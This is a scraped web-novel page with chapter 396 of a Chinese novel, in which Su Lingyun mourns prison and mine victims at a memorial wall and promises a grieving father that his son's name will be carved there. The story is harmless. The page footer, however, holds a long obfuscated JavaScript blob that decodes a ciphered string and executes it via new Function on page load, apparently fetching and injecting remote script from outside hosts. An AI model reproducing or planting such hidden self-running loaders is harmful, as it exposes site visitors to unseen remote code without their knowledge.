首页
第396章 放下野花,长久沉
返回

第396章 放下野花,长久沉默

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    苏凌云走到纪念园门口,停住了。
    老葛已经走出去十几步,发现身后的声音没了,回头看她。
    苏凌云站在青石碑旁边,一只手扶着碑面,目光越过一排排墓碑,望向纪念园最高处——那里有一面墙。
    黑色大理石,从山脚往上望,像一块被竖起来的夜空,没有星星,平整得反光。
    墙面空着,一个字都没有。
    “葛叔,我再待一会儿。”
    又转向身旁的林白,“你也先回去吧。义诊那边还等着你。基金会的事,回头我让白晓跟你对接。”
    林白点了点头,拎着竹篮往山下走去,走了几步又回头看了一眼松柏林的方向,然后转身继续走,灰蓝色的背影渐渐消失在石板路尽头。
    老葛顺着她的目光看了一眼那面黑墙,没问为什么,把伞夹在腋下,从口袋里摸出烟盒,又塞回去。
    “车上等你。”
    苏凌云沿着石板路往上走。
    这条路是新修的,坡度不大,但拐了几个弯,每拐一个弯就比刚才高一点。
    雨后的石板面上有水光,踩上去能映出她模糊的影子。
    路两边是新栽的柏树,树苗还小,只到她肩膀,枝干上绑着草绳,风一吹,草绳的末梢轻轻晃。
    越往上走,视野越开阔。
    走到最高处那块平台的时候,整座纪念园都在脚下了——那些墓碑从高处看不再是密密麻麻的石块,而是一排一排的、安安静静的队列,像在等什么口令。
    远处的黑岩山被雨洗过,轮廓清晰,山顶还缠着没散尽的云雾,一圈一圈的,像山的伤口上缠了纱布。
    那面黑墙就在平台的尽头。
    很大。
    有三米多高,十几米长,整块大理石镶在山体上,表面抛光过,光滑得能照见人影。
    设计这面墙的人留了说明牌——嵌在墙根的一块铜板上,字不大:“此墙用于镌刻所有未来确认姓名的遇难者。在名单完整之前,留白。”
    苏凌云在铜板前面站了片刻。
    留白。
    这两个字用得真好。
    不是“空缺”,不是“待补”,是留白。
    好像那些还没确认的名字不是被遗忘了,而是在等一个合适的时机。
    她从随身的布包里掏出那把地质锤。
    锤子很旧了。
    锤头是碳素钢的,锈迹从边缘往中间蔓延,暗红色的,像氧化的血迹。
    手柄是檀木的,被苏教授的手掌磨了三十多年,磨出了一层包浆,握上去温润光滑,虎口的位置有一道颜色略浅的凹槽——那是苏教授右手虎口常年卡在那里留下的印记。
    他握这把锤子下过上百次矿井,敲过无数块岩芯,用它在黑岩矿的深处标注过断裂带的坐标。
    他死后,这把锤子和那些手稿一起被锁在地下室的铁皮柜里,钥匙在一个沉默的老狱警手里攥了两年。
    现在锤子在她手里。
    她握着它,能感觉到木柄上那道凹槽刚好嵌进自己的虎口。
    她走到黑墙前,举起锤子,停住了。
    锤头悬在半空中,离大理石板面只有几厘米。
    她想在墙上刻点什么,但最终没有砸下去。
    这面墙是留给那些还没被确认的名字的。
    她不能替他们刻。
    她把锤子放下来,蹲下身,用锤尖在墙根湿润的泥土上划下第一笔。
    泥土被雨水泡得松软,锤尖划过去几乎没有阻力,留下一道深深的沟痕,沟痕边缘的泥粒被挤得翻起来,细碎细碎的。
    小雪花。
    她在泥上写了这三个字。
    字迹歪歪的,因为泥太软,锤尖不好控制。
    她没有停,继续写。
    肌肉玲。
    沈冰。
    周启明。
    苏秉哲。
    王素云。
    陈建民。
    她写得很慢,每一笔都划得很深,好像怕雨再来把这些字冲掉。
    有些人的名字她只记得缩写,就写了缩写——FZ、LH、老T。
    还有几个她连缩写都不知道,只在黑岩的某个夜晚听谁提过一嘴——“那个被推下矿坑的瘦子”、“孟姐
    隔壁牢房爱唱歌的大姐”、“肌肉玲说那个人有个弟弟叫狗剩”。
    她就写:瘦子,爱唱歌的大姐,狗剩。
    写完之后她站起来,低头看着这一地名字。
    它们歪歪扭扭地躺在黑墙脚下的泥土上,混着雨水和草屑,像一群终于被叫到名字的人排好了队,等着被刻进石头里。
    她知道这些字很快会消失。
    太阳出来一晒,泥干了会裂,风一吹,泥粒散了,字就不见了。
    但她不在乎。
    此刻它们在这里。
    此刻有人念过它们的名字。
    她坐在地上,背靠着那面冰冷的大理石墙。
    石头很凉,凉意透过外套渗进后背,但她没有挪开。
    她把地质锤横放在膝盖上,看着面前那些泥字,没有再说话,只是沉默地看着。
    阳光从云层的裂缝里漏下来一缕,落在那些名字上,把泥沟里的水照得发亮。
    风吹过松林,发出呜呜的声响,如怨如慕,如泣如诉。
    她没有再哭。
    眼泪已经流干了——在小雪花的墓碑前,在沈冰的汉白玉碑前,在肌肉玲的蒲公英前面,她把这两年攒的泪都倒空了。
    现在只剩下一种很深的、近乎虚无的平静,和一丝怎么都压不下去的念头。
    这个念头在她心里藏了两年多,从黑岩监狱的水泥台子上,到矿道里的碎石堆里,到法庭上听到“无罪”两个字的那一刻——它一直都在,只是她从来没让它浮上来。
    现在,坐在这面等待被刻满名字的黑墙前面,看着满地歪歪扭扭的、即将消失的泥字,这个念头终于从最深的地方冒了出来。
    为什么活下来的是我?
    不是矫情。
    不是在镜头前说“我把运气分给她们”的那种悲情。
    是凌晨三点睡不着的时候,看着天花板,脑子里一个一个闪过那些脸,然后问自己——凭什么是我?
    肌肉玲挡在她前面挨了那一棍。
    沈冰推了她一把自己掉进了泥石流里。
    小雪花连她最后给的半块糖都没舍得吃。
    为什么活着出来的是她?
    为什么法庭上倒下去的是她爸而不是她?
    为什么她妈在去法院的路上被车撞死,而她从矿洞里活着爬出来了?
    时来天地皆同力,运去英雄不自由。
    她不是什么天选之人。
    她只是一个会计师,身体瘦弱,跑得不比别人快,打不过任何一个警卫,在黑岩监狱里被踩断过小指,在审讯室里被张国庆翻了二十三次照片,在看守所里差一点就信了周正阳的话认了罪。
    她没有任何比别人更应该活下来的理由。
    松涛声从山脊那边滚过来,呜呜的,在她耳边转了一圈又走了。
    风把她脚边一根松针吹起来,落在“小雪花”三个字上面,刚好盖住了“花”字的最后一笔。
    她忽然想起父亲说过的一句话。
    是在她小时候。
    她大概七八岁,蹲在阳台上看父亲敲石头。
    父亲拿着一块灰扑扑的岩石样本,用锤子轻轻一敲,石头从中间裂开,露出里面一片亮闪闪的晶体。
    她“哇”了一声,说爸爸你怎么知道里面有这个。
    父亲说,行家看石头,不是看外面,是看时间。
    最坚硬的岩石也会被风化成沙。
    但沙里会有新的生命。
    她当时没听懂。
    她只记得那片晶体的反光,像石头里藏了一片星空。
    现在她懂了。
    落红不是无情物,化作春泥更护花。
    那些鲜活的生命化作了泥土里的名字,化作了她心底的烙印,化作了黑岩之光基金会接手的每一个案子。
    她们没有消失。
    她们成了她的一部分——肌肉玲的狠劲,沈冰的冷静,小雪花在烧到四十度时还在坚持的精神,都进了她的骨血里。
    为什么要活下来?
    也许就是为了记住。
    为了把沙里的故事讲给后来的人听。
    为了不让风轻易把一切吹散。
    老葛坐在车里,车窗摇下来一半,风把烟灰吹得到处都是。
    他点了一根烟,没怎么抽,就夹在手指间让它自己燃着。
    烟灰积了很长一截,他懒得弹掉。
    从挡风玻璃望出去,正好能看到山顶那面黑墙,和黑墙前面那个瘦削的身影——一个很小的黑点嵌在一块巨大的黑色背景上,如果不仔细看,根本分辨不出来。
    老骥伏枥,志在千里。
    他干卧底的时候,搭档死在隔壁房间里,他不能出声,不能哭,不能跑,只能继续跟对面的人喝酒划拳,那天晚上他划赢了所有拳。
    后来他调去刑侦,带过三个徒弟,一个牺牲了,一个残了,一个转了行。
    他退休之后在黑岩的山脚下租了个房子,没告诉任何人地址,逢年过节一个人炒两个菜,多摆一副碗筷。
    他知道那个“为什么是我”的问题有多重。
    他知道那不是矫情,那是活着的人替死去的人背的最重的包袱。
    他没有下车。
    有些槛必须自己迈,有些沉默必须自己咀嚼。
    他把烟掐了,把烟头放进车门的储物格里——苏凌云的车上不让抽烟,他记着。
    然后他继续看着挡风玻璃外面那个很小的、一动不动的黑点,像一尊守护的石像。
    山道上传来脚步声。
    不是老葛——老葛的脚步声她认得,是那种前脚掌先着地、随时能转向的走法。
    这个脚步声很慢,拖拖沓沓的,鞋底在石板路上蹭着走,还夹杂着清洁车胶轮碾过石板的咕噜声。
    一个穿着环卫工制服的老人推着清洁车从山道拐角转出来。
    头发全白了,不是那种有光泽的银白,是枯草一样的灰白,稀稀拉拉的,能看见头皮。
    脸被山风吹得粗糙发红,嘴唇干裂,眼睛浑浊,眼白泛黄,但眼神很专注——他推车的时候一直看着那面黑墙,好像那面墙上已经刻了字,他正在一个一个辨认。
    他看见坐在地上的苏凌云,停住了。
    清洁车的轮子卡在石板缝里,咕噜一声停了。
    他扶着车把,眯着眼睛看了她好一会儿。
    然后他低头看了看那面空墙前放着的几支白色菊花——那是他上次来的时候放的,已经蔫了,花瓣边缘干枯卷曲。
    他把清洁车停稳,走到车前,从车斗里又拿出几支新鲜的白色菊花。
    花是塑料纸包着的,茎秆用橡皮筋扎了一圈,很便宜的那种,超市门口一块钱一支。
    他把旧花收起来放进车斗,把新花轻轻放在原来的位置,摆整齐。
    然后他转过身,看着苏凌云。
    他的眼睛在她脸上停留了很久,久到苏凌云抬起头跟他对视。
    “姑娘,你是……电视上那个苏姑娘吧?”
    他的声音很沙哑,带着浓重的本地口音,每个字的尾音都往下沉。
    苏凌云点头。
    老人的眼圈一下子红了。
    他嘴唇哆嗦了几下,转过头,伸出粗糙的手指,指向远处黑岩山的轮廓。
    山在雨后格外清晰,能看见半山腰那个已经封堵的矿洞口,像山的身体上一个被缝合的创口。
    “我儿子……十五年前,死在下面。连骨头都没找到。”
    他把手指收回来,在衣襟上蹭了蹭。
    衣襟已经很脏了——环卫工制服的胸口位置沾着泥点子、油渍和不知道什么日子的旧污痕。
    他从怀里掏出一张照片。
    不是从钱包里,是从贴身的内衣口袋里,用一块洗得发白的手帕裹着。
    他打开手帕的时候手在抖,帕子的四个角被他抖得簌簌响。
    照片皱得厉害,折痕处已经磨出了白底,但上面的人还是能看清的——一个年轻矿工,穿着蓝色工装,戴着矿灯头盔,站在矿洞口。
    他笑得很憨,门牙有点龅,眼睛眯成两条缝,左手举着一个搪瓷饭盒,右手比了个V字。
    “他当时才十九……说是去打工,挣钱娶媳妇。那天早上出门还跟我犟嘴,说爸你别抽旱烟了,等我挣了钱给你买纸烟。我说纸烟没劲,他就笑,说你老土。”
    老人说着也笑了一下,笑得比哭还难看,眼角的皱纹挤成一团,“后来矿上的人来说塌方了,人没了。我去要尸体,他们不给。说要赔钱,我说我不要钱,你把铁柱给我。他们说找不到了,埋在下面太深,挖不出来。我就站在矿洞口喊,我说铁柱,爸来了,你应一声。没人应。连回音都没有。”
    可怜无定河边骨,犹是春闺梦里人。
    苏凌云站起来。
    地质锤从膝盖上滑下来,落在草地上,发出一声闷响。
    她弯腰捡起来,锤头沾了泥土。
    她走到老人面前,低头看着那张照片。
    搪瓷饭盒上印着褪色的红字——“安全生产”。
    她抬头看着老人:“您儿子叫什么?”
    “李铁柱。木子李,铁柱就是……铁打的柱子。他妈起的,说柱子结实,好养活。”
    “李铁柱。”
    苏凌云重复了一遍。
    她把这三个字咬得很清楚,一个字一个字地落在地上,像在做一份正式的记录,“我记住了。基金会正在整理黑岩矿历年矿难和失踪人员的完整名单。我们会争取把所有能找到的名字,都刻在这面墙上。”
    她侧身,指了指身后那片空荡的黑色大理石,“李铁柱,会刻上去的。”
    老人膝盖一弯就要往下跪。
    苏凌云一把托住了他的胳膊——她太熟悉这个动作了。
    王桂珍在法院门口也是这样,膝盖弯下去的时候整个人的重量都往下坠,好像这些年攒的所有感激都压在那一个动作上。
    她死死托住老人的手臂。
    老人的胳膊很瘦,隔着环卫工制服的薄布料能摸到骨头的形状。
    “别这样。”
    她说,声音不大,但语气很稳,“您别这样。”
    老人站住了。
    他的膝盖还在发抖,整个身体都在发抖,眼泪从那张被山风吹得粗糙发红的脸上淌下来,流进嘴唇干裂的缝里。
    他抓着苏凌云的手臂,抓得很紧,好像她是山上唯一一块能扶住的石头。
    “谢谢……谢谢……”
    他翻来覆去就这两个字,说不清别的,嗓子眼被什么东西堵死了,“有名字就好……有名字,他就不算孤魂野鬼了……他妈走的时候也是念这个……说铁柱连个墓碑都没有,在下面找不着家……”
    苏凌云把地质锤换到另一只手上,腾出右手,扶着老人的胳膊,陪他往山下走了几步。
    老人的清洁车还停在石板路中间,胶轮上沾满了碎石和泥。
    他推上车,回过头又看了苏凌云一眼,嘴唇动了动,好像还有一肚子话要说,但最后只是摆了摆手。
    “走了。姑娘,我走了。”
    他推着清洁车慢慢下山。
    佝偻的背影在石板路上越来越小,拐过松林,不见了。
    苏凌云站在原地,手里攥着那张照片。
    她把照片翻过来——背面用圆珠笔写着两行字,字迹已经褪色发蓝,笔画歪歪的,但每一笔都很用力:“李铁柱,十九岁,二〇一〇年三月十七日于黑岩矿。爸留。”
    她拿着照片走回黑墙前面,蹲下身,在那些即将消失的泥字旁边,用锤尖端端正正地划下了三个字:李铁柱。
    午后阳光从云层缝隙里漏出来更多了,暖烘烘的,晒在背上能感觉到热量透过外套渗进皮肤。
    泥地上的水光正在慢慢消退——那些名字边缘的湿润泥土开始发干、发白、开裂。
    她知道它们会消失,但她不在乎。
    人生到处知何似,应似飞鸿踏雪泥。
    风穿过松林,呜呜的,像叹息,也像低语。
    她坐在地上,背靠着那面等待被刻满名字的黑墙,看着眼前满地歪歪扭扭的泥字在午后的阳光下一点点变淡。
    她忽然想起苏教授手稿最后一页那个红笔画的骷髅。
    父亲在骷髅旁边写了一行小字——“以我性命担保此结论”。
    现在她觉得,活下来的人不需要用性命担保什么。
    活下来的人只需要记住。
    然后把记住的东西,讲给后来的人听。
    日头西斜的时候,影子被拉长了,从黑墙脚下一直拖到平台边缘。
    苏凌云终于站起来。
    腿麻了,站起来的时候晃了一下。
    弯下腰,把地质锤上沾的泥土,用纸巾蹭干净——檀木手柄上那道虎口的凹槽在夕阳里泛着温润的光。
    她把锤子小心地放回布包,拉上拉链。
    然后从布包里掏出三小束干杜鹃花。
    从海边民宿带来的。
    她在阳台上晒了好几个下午,花瓣晒干了,颜色变深了,从粉红变成了暗红,但形状还在,五片花瓣紧紧地拢在一起,像不愿意松开的手指。
    她把三束花分成三份,走回松柏林下,在肌肉玲的墓碑前放了一束,在沈冰的汉白玉碑前放了一束,在小雪花的碑前——那块最小的、刻着杜鹃花和羊角辫的碑——放了一束。
    放完之后她站在三块墓碑中间,说了一句:“小雪花,沈冰姐、玲姐,先欠着。漫山的花,下次给你们带来。”
    做完这一切,她转身,步履平稳地走下台阶。
    脊背挺直。
    回到车上,老葛发动引擎。
    发动机低低地嗡了一声,空调口吹出来的风有点凉。
    他什么都没问,只是把一瓶矿泉水和一包纸巾递过来。
    苏凌云接过水,拧开盖子喝了一口。
    水是常温的,入口有塑料瓶特有的那种很淡的甜味。
    她没有喝第二口,把瓶盖拧回去,放在腿上,转头看着窗外飞逝的景色。
    松林在车窗外快速后退,偶尔有一两棵被雨打歪的野花从路边闪过——黄的、白的、紫的,颜色很淡,开得很安静。
    手机在口袋里震了一下。
    她用纸巾擦了擦手指上的泥,划开屏幕。
    白晓的消息。
    “苏姐,武大海案的国家赔偿下来了,三十五万。他非要捐十万给基金会,怎么劝都不听。说我这条命是你们捡回来的,这十万算啥,我还能挣。我说你儿子以后上学用,他说他儿子的学费他自己挣,这十万是还人情的。我嘴皮子都磨破了。”
    苏凌云看着屏幕。
    车窗外的光线忽明忽暗,手机的自动亮度跟着变,屏幕一会儿亮一会儿暗。
    她打了几个字,删掉,又打了几个字。
    “收下。记在他名下,指定用于援助类似交通肇事冤案的家庭。告诉他,这不是捐,是传递。他接住的东西,传给下一个需要的人就行。”
    她放下手机,把车窗摇下来一条缝。
    风从缝隙里灌进来,带着雨后山间的凉意和松脂的味道。
    她看向后视镜——纪念园在后视镜里越来越小,越来越远,最后被山峦吞没了。
    但有些东西永远留在了那里。
    也有些东西被她带走了,带进了以后的人生。
    那些泥土里的名字,那个十九岁矿工举着搪瓷饭盒的憨笑,那三束干杜鹃,那面等待被刻满名字的黑墙——都在。
    都在她心里。
    车子驶上国道,汇入车流。
    前方的路在夕阳里铺成一条金色的长带,一直延伸到看不清的远方。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();